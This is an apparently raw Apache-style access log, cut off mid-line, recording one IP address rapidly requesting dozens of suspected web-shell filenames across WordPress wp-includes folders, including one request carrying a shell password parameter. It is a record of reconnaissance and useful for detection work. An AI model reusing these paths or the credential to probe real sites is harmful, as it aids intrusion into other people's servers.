- [15/Apr/2025:09:44:17 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:18 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:20 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:23 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:26 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:28 -0400] "GET /wp-includes/Text/Diff/Engine//shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:30 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:34 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:37 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:39 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:42 -0400] "GET /wp-includes/Text/Diff/Renderer/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:44 -0400] "GET /wp-includes/Text/Diff/Renderer/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:48 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:52 -0400] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:44:56 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:00 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:02 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:05 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:09 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:15 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:20 -0400] "GET /wp-includes/Text/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:25 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:30 -0400] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:32 -0400] "GET /wp-includes/Text/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:35 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:37 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:41 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:44 -0400] "GET /wp-includes/assets//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:47 -0400] "GET /wp-includes/assets//classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:50 -0400] "GET /wp-includes/assets//cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:52 -0400] "GET /wp-includes/assets//wp-access.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:53 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:57 -0400] "GET /wp-includes/assets/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:45:59 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:02 -0400] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:04 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:06 -0400] "GET /wp-includes/assets/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:07 -0400] "GET /wp-includes/assets/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:08 -0400] "GET /wp-includes/assets/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:09 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:11 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:12 -0400] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:14 -0400] "GET /wp-includes/blTvYBaqncP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:15 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:17 -0400] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:20 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:24 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:29 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:34 -0400] "GET /wp-includes/block-patterns/ben.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:39 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:41 -0400] "GET /wp-includes/block-patterns/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:43 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:46 -0400] "GET /wp-includes/block-supports//default-constant.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:47 -0400] "GET /wp-includes/block-supports//dimensions-ajax.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:52 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:54 -0400] "GET /wp-includes/block-supports/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:56 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:46:58 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:00 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:01 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:03 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:05 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:07 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:08 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:10 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:12 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:13 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:14 -0400] "GET /wp-includes/blocks/list/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:17 -0400] "GET /wp-includes/blocks/list/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:19 -0400] "GET /wp-includes/blocks/loginout/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:20 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:22 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:24 -0400] "GET /wp-includes/blocks/post-author/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:25 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:30 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:37 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:43 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:46 -0400] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:49 -0400] "GET /wp-includes/blocks/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:53 -0400] "GET /wp-includes/bnYGWrcap1X.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:47:59 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:01 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:05 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:08 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:14 -0400] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:18 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:20 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:22 -0400] "GET /wp-includes/certificates/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:24 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:27 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:28 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:30 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:31 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:34 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:36 -0400] "GET /wp-includes/css/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:39 -0400] "GET /wp-includes/css/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:41 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:44 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:47 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:48 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:50 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:51 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:53 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:48:55 -0400] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:49:00 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:49:06 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:49:10 -0400] "GET /wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:49:17 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:49:24 -0400] "GET /wp-includes/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:49:27 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:49:33 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:49:38 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:49:42 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:49:47 -0400] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:49:51 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:49:54 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:49:57 -0400] "GET /wp-includes/customize/mariju.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:49:59 -0400] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:00 -0400] "GET /wp-includes/customize/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:01 -0400] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:04 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:08 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:12 -0400] "GET /wp-includes/fonts//links.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:16 -0400] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:18 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:20 -0400] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:24 -0400] "GET /wp-includes/fonts/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:28 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:31 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:35 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:41 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:44 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:48 -0400] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:51 -0400] "GET /wp-includes/html-api/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:52 -0400] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:55 -0400] "GET /wp-includes/iUN3FwyCaZR.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:50:58 -0400] "GET /wp-includes/iWoGYaunXNz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:00 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:03 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:07 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:09 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:12 -0400] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:13 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:15 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:17 -0400] "GET /wp-includes/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:20 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:21 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:25 -0400] "GET /wp-includes/images/media/ben.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:28 -0400] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:31 -0400] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:35 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:37 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:40 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:42 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:45 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:48 -0400] "GET /wp-includes/images/wlw/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:51 -0400] "GET /wp-includes/images/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:54 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:51:59 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:02 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:06 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:08 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:11 -0400] "GET /wp-includes/js//text.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:16 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:20 -0400] "GET /wp-includes/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:25 -0400] "GET /wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:28 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:31 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:35 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:38 -0400] "GET /wp-includes/js/codemirror/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:41 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:46 -0400] "GET /wp-includes/js/crop/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:49 -0400] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:51 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:53 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:55 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:52:58 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:02 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:07 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:14 -0400] "GET /wp-includes/js/tinymce/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:19 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:25 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:29 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:33 -0400] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:36 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:39 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:43 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:46 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:48 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:51 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:53 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:54 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:55 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:58 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:53:59 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:01 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:03 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:05 -0400] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:07 -0400] "GET /wp-includes/js/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:08 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:09 -0400] "GET /wp-includes/mah.php?pass=888xyz999 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:13 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:15 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:17 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:19 -0400] "GET /wp-includes/php-compat//chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:21 -0400] "GET /wp-includes/php-compat/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:21 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:24 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:26 -0400] "GET /wp-includes/pomo/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:28 -0400] "GET /wp-includes/pomo/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:30 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:33 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:54:35 -0400] "GET 